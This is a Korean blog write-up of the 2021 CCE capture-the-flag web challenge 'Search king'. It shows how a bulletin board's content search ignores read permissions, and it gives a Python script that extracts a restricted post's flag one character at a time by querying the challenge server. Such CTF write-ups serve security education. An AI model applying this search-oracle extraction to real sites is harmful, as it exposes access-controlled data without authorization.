CTF/웹해킹

[2021CCE] Search king - 웹해킹 / Python

SecurityMan 2023. 8. 20. 11:00

 

2021CCE에 출제되었던 웹해킹 문제

 

게시판 기능에서 발생하는 전형적인 정보 노출 취약점에 대해 다루고 있다.

 

반응형

 

문제 소스는 따로 없고

 

문제 페이지 주소만 주어진다.

 

 

문제페이지에 접속하면

 

간단한 게시판 형태가 보인다.

 

admin 이 뭔가 글을써놨는데

 

Pernission이 ALL 인것과 hacker 인것

 

두개가 나눠져 있다.

 

All 게시물은 그냥 내용을 읽을 수 있는데

 

hacker 게시물은 권한이 없어 읽을수가 없다.

 

이 게시물 안에 문제의 플래그가 숨어있다.

 

 

이 게시판의 취약점은

 

내용 기반 검색을 하는데, 

 

검색시에는 권한을 필터링하지 않는다는 것이다.

 

cce 라고 검색하면

 

hacker 권한 게시물인 2, 4, 6번 게시글의 내용에

 

cce 라는 내용이 있기 때문에 저렇게 결과가 나오는 것이다.

 

저런식으로 한글자씩 검색을 시도해

 

권한이 없는 게시물의 전체 내용을 확인할 수 있다.

 

 

이런식으로 한글자씩 늘려가면서 알아내면 된다.

 

한글자씩 추가해가면서 검색을 시도할때

 

검색결과에 2, 4, 6 번 게시글이 나온다면

 

검색된 문자열이 게시글 내 포함된 것이고,

 

아무것도 나오지 않는다면 포함되지 않은 것이다.

 

import requests

text = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
url = 'http://20.194.123.134/search?keyword=cce2021{'

while True:
    for i in range(len(text)):
        tmp = url
        tmp += text[i]

        r = requests.get(tmp)

        print(tmp)

        if 'hey hacker, this is your mission' in r.text:
            url += text[i]
            break

 

문제푸는 아이디어를 알았으니 

 

Python을 이용해 간단하게 코드를 짜주면 된다.

 

0 ~ 9, a ~ z, A ~ Z 범위의 문자열을 하나씩 대입해보면서

 

response 패킷에 hey hacker, this is your mission 이라는 글자가 나오면

 

검색 결과가 올바르게 나온것으로 판단하면 된다.

 

 

코드를 실행시키면

 

금방 결과를 확인할 수 있다.

반응형